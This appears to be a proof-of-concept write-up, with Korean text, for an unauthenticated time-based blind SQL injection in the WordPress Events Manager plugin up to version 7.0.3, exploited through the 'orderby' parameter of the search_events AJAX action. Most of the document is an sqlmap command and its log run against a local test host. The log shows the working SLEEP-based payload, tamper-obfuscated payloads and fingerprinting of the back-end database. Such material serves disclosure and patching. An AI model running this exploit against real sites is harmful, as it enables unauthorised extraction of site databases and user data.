
Events Manager <= 7.0.3 - `orderby` 매개변수를 통한 인증되지 않은 SQL 인젝션
Events Manager <= 7.0.3 - orderby 파라미터를 통한 인증되지 않은 SQL 인젝션
WordPress용 Events Manager – Calendar, Bookings, Tickets, and more! 플러그인은 최대 7.0.3 버전까지 'orderby' 파라미터를 통해 시간 기반 SQL 인젝션에 취약합니다. 이는 사용자가 제공한 파라미터에 대한 이스케이프 처리 부족과 기존 SQL 쿼리에 대한 충분한 준비 부족 때문입니다. 이로 인해 인증되지 않은 공격자가 기존 쿼리에 추가 SQL 쿼리를 추가하여 데이터베이스에서 민감한 정보를 추출하는 데 사용할 수 있습니다.
sqlmap -u "http://kubernetes.docker.internal:8999/wp-admin/admin-ajax.php" --data="action=search_events&orderby=*" --method=POST --dbs --batch --level=3 --risk=2 --tamper=space2comment --dbms mysql --technique=T -v 3
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|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:43:48 /2025-07-09/
[21:43:48] [DEBUG] cleaning up configuration parameters
[21:43:48] [INFO] loading tamper module 'space2comment'
[21:43:48] [DEBUG] setting the HTTP timeout
[21:43:48] [DEBUG] setting the HTTP User-Agent header
[21:43:48] [DEBUG] creating HTTP requests opener object
[21:43:48] [DEBUG] forcing back-end DBMS to user defined value
[21:43:48] [DEBUG] setting the HTTP Referer header to the target URL
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[21:43:48] [DEBUG] used the default behavior, running in batch mode
[21:43:48] [DEBUG] resolving hostname 'kubernetes.docker.internal'
[21:43:48] [INFO] testing connection to the target URL
[21:43:48] [DEBUG] declared web page charset 'utf-8'
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=237ee635040...841357e271'). Do you want to use those [Y/n] Y
[21:43:48] [DEBUG] used the default behavior, running in batch mode
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* ((custom) POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: action=search_events&orderby=(CASE WHEN (3275=3275) THEN SLEEP(5) ELSE 3275 END)
Vector: (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
---
[21:43:48] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[21:43:48] [INFO] testing MySQL
[21:43:48] [PAYLOAD] (CASE/**/WHEN/**/(QUARTER(NULL/**/XOR/**/NULL)/**/IS/**/NULL)/**/THEN/**/SLEEP(5)/**/ELSE/**/7129/**/END)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[21:43:55] [DEBUG] used the default behavior, running in batch mode
[21:43:55] [INFO] confirming MySQL
[21:43:55] [PAYLOAD] (CASE/**/WHEN/**/(SESSION_USER()/**/LIKE/**/USER())/**/THEN/**/SLEEP(5)/**/ELSE/**/4851/**/END)
[21:43:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[21:44:00] [PAYLOAD] (CASE/**/WHEN/**/(ISNULL(JSON_STORAGE_FREE(NULL)))/**/THEN/**/SLEEP(5)/**/ELSE/**/3817/**/END)
[21:44:05] [INFO] adjusting time delay to 1 second due to good response times
[21:44:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.2.28, Apache 2.4.62, PHP
back-end DBMS: MySQL >= 8.0.0